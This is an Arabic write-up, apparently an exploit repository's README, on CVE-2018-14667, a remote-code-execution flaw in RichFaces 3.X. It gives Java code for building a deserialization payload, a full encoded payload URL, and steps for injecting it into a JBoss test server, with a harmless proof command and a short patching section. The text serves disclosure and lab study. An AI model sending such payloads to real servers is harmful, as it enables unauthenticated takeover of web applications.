
كل ما يتعلق بـ CVE-2018-14667؛ من ماهيته إلى كيفية استغلاله بنجاح.
بعد قضاء وقت طويل في فهم واستغلال هذا الثغرة (CVE) بشكل صحيح، قررت بناء مستودع حول خلل RCE في RichFaces 3.X ومشاركة الخطوات التفصيلية مع المجتمع.
0x00 : مقدمة حول خلل RichFaces 3.X
في يوم الاثنين، 19 نوفمبر، نشر Joao F M Figueiredo مقالًا مفصلاً (https://seclists.org/fulldisclosure/2018/Nov/47) حول ثغرة حرجة عالية الخطورة في RichFaces.
النتيجة الأساسية CVSS3 9.8
تسمح هذه الثغرة لأي مستخدم غير مصادق بتنفيذ أوامر برمجية عن بُعد على أي تطبيق ويب يستخدم RichFaces 3.X (جميع الإصدارات)، وهو أسوأ سيناريو ممكن.
0x01 : هل أنا متأثر؟ ![]()
حسنًا، إذا كنت تشغّل RichFaces 3.X (أي إصدار من RichFaces 3) وترى الكود التالي في مصدرك، فمن المحتمل أنك عرضة لثغرة تنفيذ الأوامر عن بُعد CVE-2018-14667:
0x02 : تشغيل بيئة قابلة للاستغلال لاختبار الثغرة ![]()
سأعيد شرح ما تم تغطيته بالفعل في مقال seclists.org حول كيفية نشر بيئة قابلة للاستغلال.
0x03 : توليد حمولة صالحة ![]()
الآن الجزء الممتع! هنا واجهت صعوبات، لذا سأشرح بالتفصيل كيفية توليد حمولة صالحة دون تكرار الأخطاء التي ارتكبتها. أقترح أولاً استخدام Eclipse لترجمة الحمولة.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
يجب أن تبدو المخرجات في Eclipse كما يلي:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : إرسال الحمولة والحصول على تنفيذ الأوامر عن بُعد ![]()
انتقل في متصفحك إلى خادم JBoss المحلي الذي يشغّل تطبيق PhotoAlbum على http://192.168.100.2:8080/photoalbum وانقر بزر الماوس الأيمن لعرض مصدر الصفحة. اضغط Ctrl+F وابحث عن '/DATA/'. يجب أن تجد شيئًا مشابهًا لهذا:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
يمكنك رؤية الكائن المتسلسل بوضوح. هنا سنستبدل الكائن المتسلسل بحمولتنا للحصول على تنفيذ الأوامر عن بُعد. في متصفحك، غيّر الرابط إلى http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. كانت حمولتي تنفذ الأمر التالي 'touch /tmp/PoorRichFaces'. لنرى ما إذا نجحت:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
أمر جميل، أليس كذلك؟ لقد حصلنا لتوّنا على RCE على تطبيق Java Web يعمل بـ RichFaces 3.X.
0x05 : كيفية التصحيح؟ ![]()
قد لا يعجبك هذا الأمر لذا كن مستعدًا وتمسك بلوحة المفاتيح؛ لقد وصل RichFaces إلى نهاية دعم منتجه، لذا يجب على المستخدمين (أنت) تطبيق التصحيح الخاص بهم. لا داعي للذعر، إذا لم تتمكن من إيجاد طريقة للتصحيح، فلا تتردد في التواصل معي، يمكننا ترتيب أمر ما حتى أقوم بتصحيح تطبيقات Java Web الخاصة بك.
البريد الإلكتروني: [email protected]